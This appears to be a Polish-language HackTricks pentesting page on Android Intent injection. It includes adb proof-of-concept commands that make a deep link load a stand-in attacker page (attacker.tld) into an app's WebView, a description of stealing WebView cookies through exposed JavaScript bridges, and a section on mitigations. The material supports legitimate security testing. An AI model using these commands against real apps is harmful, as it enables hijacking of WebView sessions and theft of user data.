Intent Injection

Reading time: 4 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Wstrzykiwanie intencji wykorzystuje komponenty, które akceptują Intencje kontrolowane przez atakującego lub dane, które są później przekształcane w Intencje. Dwa bardzo powszechne wzorce podczas pentestów aplikacji na Androida to:

  • Przekazywanie stworzonych extras do eksportowanych Activities/Services/BroadcastReceivers, które są później przekazywane do uprzywilejowanych, nieeksportowanych komponentów.
  • Wywoływanie eksportowanych VIEW/BROWSABLE głębokich linków, które przekazują URL-e kontrolowane przez atakującego do wewnętrznych WebView lub innych wrażliwych miejsc.

Głębokie linki → WebView sink (wstrzykiwanie parametru URL)

Jeśli aplikacja udostępnia głęboki link z niestandardowym schematem, taki jak:

text
myscheme://com.example.app/web?url=<attacker_url>

i odbierająca Aktywność przekazuje parametr zapytania url do WebView, możesz zmusić aplikację do renderowania dowolnej zdalnej treści w swoim kontekście WebView.

PoC za pomocą adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS wykonuje się w profilu WebView aplikacji.
  • Jeśli JavaScript jest włączony (domyślnie lub z powodu błędnie uporządkowanych sprawdzeń), możesz enumerować/używać wszelkich ujawnionych obiektów @JavascriptInterface, kraść ciasteczka WebView/lokalne przechowywanie i pivotować.

Zobacz także:

Webview Attacks

Błąd kolejności sprawdzeń umożliwiający JavaScript

Powtarzającym się błędem jest włączenie JavaScript (lub innych liberalnych ustawień WebView) przed zakończeniem ostatecznej listy dozwolonych adresów URL/weryfikacji. Jeśli wczesne pomocnicze funkcje akceptują twój głęboki link, a WebView jest skonfigurowane jako pierwsze, twoje ostateczne załadowanie odbywa się z już włączonym JavaScript, nawet jeśli późniejsze sprawdzenia są wadliwe lub zbyt późne.

Na co zwrócić uwagę w dekompilowanym kodzie:

  • Wiele pomocniczych funkcji, które różnie analizują/dzielą/odbudowują URL (niespójna normalizacja).
  • Wywołania getSettings().setJavaScriptEnabled(true) przed ostatnim sprawdzeniem listy dozwolonych hostów/ścieżek.
  • Pipeline jak: analizuj → częściowa walidacja → konfiguruj WebView → ostateczna weryfikacja → loadUrl.

Mitigacje

  • Kanonizuj raz i waliduj ściśle; kończ z błędem.
  • Włączaj JavaScript tylko po przejściu wszystkich sprawdzeń i tuż przed załadowaniem zaufanej zawartości.
  • Unikaj ujawniania mostów do niezaufanych źródeł.

Inne klasyczne prymitywy wstrzykiwania Intent

  • startActivity/sendBroadcast używając dostarczonych przez atakującego Intent extras, które są później ponownie analizowane (Intent.parseUri(...)) i wykonywane.
  • Eksportowane komponenty proxy, które przekazują Intenty do nieeksportowanych wrażliwych komponentów bez sprawdzeń uprawnień.

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks